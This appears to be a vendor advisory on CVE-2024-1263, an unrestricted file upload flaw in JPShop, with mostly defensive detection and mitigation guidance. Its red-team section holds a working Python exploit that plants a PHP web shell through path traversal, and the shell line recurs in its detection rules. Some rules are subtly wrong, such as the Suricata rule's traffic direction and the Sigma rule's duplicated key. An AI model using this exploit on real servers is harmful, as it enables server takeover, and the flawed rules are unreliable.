CVE-2024-1263

Executive Summary

CVE-2024-1263 is a critical unrestricted file upload vulnerability in Juanpao JPShop, an e-commerce platform, affecting versions up to 1.5.02. The flaw resides in the actionUpdate function within /api/controllers/merchant/shop/PosterController.php. By manipulating the pic_url parameter, an unauthenticated remote attacker can upload arbitrary files, including web shells, to the server. This can lead to complete server compromise, data theft, and lateral movement within the network. The vulnerability has a CVSS score of 6.3 (Medium), but its critical nature is underscored by the public availability of exploit details. No official patch has been released, making immediate mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited file modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: High. Despite the medium CVSS score, the public exploit and lack of a patch elevate the risk. An attacker can achieve remote code execution with minimal effort.

Deep Dive & Mechanics

The vulnerability is a classic case of unrestricted file upload. The actionUpdate method in PosterController.php is designed to handle poster image updates for merchant shops. It accepts a pic_url parameter, which is used to specify the file path for the uploaded image. The code fails to validate the file extension, content type, or the actual file content, allowing an attacker to upload a PHP web shell instead of an image.

The attack flow:

1. The attacker sends a POST request to /api/controllers/merchant/shop/PosterController.php with the actionUpdate parameter.
2. The pic_url parameter is set to a path like ../../uploads/shell.php.
3. The file content is sent as multipart form data or raw POST data.
4. The server saves the file to the specified path without any sanitization.
5. The attacker accesses the uploaded shell via a web browser, gaining remote code execution.

The lack of input validation, combined with the use of user-controlled file paths, makes this vulnerability trivial to exploit.

Vulnerable vs. Patched Code

Vulnerable Code (JPShop <= 1.5.02):

// /api/controllers/merchant/shop/PosterController.php
public function actionUpdate() {
    $pic_url = $_POST['pic_url'];
    $file = $_FILES['file'];
    move_uploaded_file($file['tmp_name'], $pic_url);
    // No validation of file extension or content
}

Patched Code (Hypothetical):

// /api/controllers/merchant/shop/PosterController.php
public function actionUpdate() {
    $pic_url = $_POST['pic_url'];
    $file = $_FILES['file'];
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
    $extension = pathinfo($pic_url, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $allowed_extensions)) {
        die('Invalid file extension');
    }
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime_type = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime_type, $allowed_mimes)) {
        die('Invalid file type');
    }
    move_uploaded_file($file['tmp_name'], $pic_url);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy JPShop 1.5.02 on a local server (e.g., using Docker or XAMPP).
2. Ensure the /api/controllers/merchant/shop/PosterController.php endpoint is accessible.

Exploit Code (Python):

import requests

target_url = "http://localhost/jpshop/api/controllers/merchant/shop/PosterController.php"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'file': ('shell.php', payload, 'application/x-php')}
data = {'actionUpdate': '1', 'pic_url': '../../uploads/shell.php'}
response = requests.post(target_url, files=files, data=data)
print("Upload response:", response.text)
print("Shell URL: http://localhost/jpshop/uploads/shell.php?cmd=id")

Usage:

1. Run the Python script to upload the web shell.
2. Access the shell URL with ?cmd=id to execute commands.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /api/controllers/merchant/shop/PosterController.php with unusual pic_url parameters (e.g., containing ../ or .php).
• Alert on file uploads with non-image MIME types (e.g., application/x-php).
• Use WAF rules to block file extensions other than .jpg, .jpeg, .png, .gif.

Mitigation:

• Immediately restrict access to the vulnerable endpoint using a WAF or reverse proxy.
• Implement input validation and file type checks as shown in the patched code.
• Disable the actionUpdate function if not required.

Indicators of Compromise (IOCs)

• File Paths: /uploads/shell.php, /uploads/*.php, /api/controllers/merchant/shop/PosterController.php
• Network Traffic: POST requests to /api/controllers/merchant/shop/PosterController.php with pic_url containing path traversal sequences (../) or .php extensions.
• Log Entries: Access logs showing requests to /uploads/*.php with cmd parameters.
• File Hashes: Any PHP file in the uploads directory with web shell content (e.g., <?php system($_GET["cmd"]); ?>).

Detection Engineering

YARA Rule

rule CVE_2024_1263_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-1263"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1263"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET[\"cmd\"]"
        $post_param = "$_POST[\"cmd\"]"
    condition:
        $php_tag and ($system_call or $cmd_param or $post_param)
}

Sigma Rule

title: CVE-2024-1263 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1263 via suspicious file uploads
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/controllers/merchant/shop/PosterController.php'
        cs-uri-query|contains: 'pic_url'
    condition: selection
falsepositives:
    - Legitimate image uploads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1263 - JPShop Unrestricted File Upload Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/controllers/merchant/shop/PosterController.php";
    http_uri;
    content:"pic_url";
    http_client_body;
    pcre:"/\.php/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-1263;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the vulnerable endpoint /api/controllers/merchant/shop/PosterController.php via a WAF or reverse proxy rule.
2. Code Fix: Implement strict file extension and MIME type validation as shown in the patched code example.
3. Network Segmentation: Ensure the JPShop server is isolated from critical internal systems.
4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Patch: Monitor the vendor's website for an official patch. If none is released, consider migrating to a different e-commerce platform.
6. User Education: Inform administrators about the risks of using unpatched software.

Valters IT
Securing Digital Frontiers